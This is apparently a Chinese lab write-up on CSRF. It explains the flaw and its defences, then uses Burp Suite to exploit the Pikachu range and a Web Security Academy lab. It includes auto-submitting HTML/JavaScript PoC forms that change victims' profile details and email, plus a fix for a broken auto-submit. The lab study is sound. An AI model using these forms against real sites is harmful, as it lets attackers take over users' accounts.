csrf漏洞get型

CSRF介绍

CSRF(跨站请求伪造)漏洞是一种网络攻击方式,它利用了用户已经通过身份验证的浏览器,在用户不知情的情况下,执行非法操作。攻击者通过构造特定的URL或表单,诱导用户点击或提交,从而在用户不知情的情况下完成非法请求。
简洁来说,CSRF漏洞的特点如下:

  1. 利用用户身份:攻击者在用户已经登录的情况下进行操作。
  2. 跨站请求:攻击者通过第三方网站发起请求。
  3. 用户不知情:用户在无意中完成了攻击者指定的操作。
  4. 危害性:可能导致用户数据泄露、账户被操控等严重后果。
    防范措施包括:
  5. 验证码:增加操作复杂度,防止自动化攻击。
  6. Token验证:为每个请求生成唯一Token,验证请求合法性。
  7. Referer检查:验证请求来源,防止跨站请求。
    了解并防范CSRF漏洞,对于保障网络安全和用户数据安全具有重要意义。

靶场实战

在虚拟机中启用之前打开过的pikachu容器

点一下提示,使用kobe/123456登录后台

可以看到许多个人信息,点击修改个人信息,并使用Burp抓包发送到Repeter

将所有值都改为1,然后点击发送

刷新网页可以看到信息已经被修改

在本机开启网页服务,将所有值改为3,BP中右键生成CSRF POC,并将生成的POC粘贴在html文件中将文件放在本机网页服务中()

使用浏览器访问此页面,点击submit request提交

可以看到信息受害者信息被篡改

再将POC中数据改为4,提交改为自动提交

但是并没有自动提交

错误排查

F12打开控制台,看到有个报错Uncaught TypeError: document.forms[0].submit is not a function

尝试去掉submit的括号进行打印,打印出来 namesubmitinput 标签。貌似有关系,经过查阅发现

是因为 <input type="hidden" name="submit" value="submit" /> 的name属性覆盖了form表单的submit方法。

改正思路1

修改input标签的name属性

1
<input type="hidden" name="submit_button" value="submit" />

但是这种方法不可行,会导致字段的键发生改变,包不生效

改正思路2

修改js为按钮点击

1
2
3
4
5
6
7
     <input id="submit" type="submit" value="Submit request" />
</form>
<script>
window.onload = function() {
document.getElementById("submit").click();
};
</script>

成功修改

burp实验室没有防御的CSRF

使用提供的账户密码登进去有个更新邮箱的接口

构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a4d009b032165a78062030e00cf0040.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="123&#64;qq&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

使用本地网页服务访问POC成功修改邮件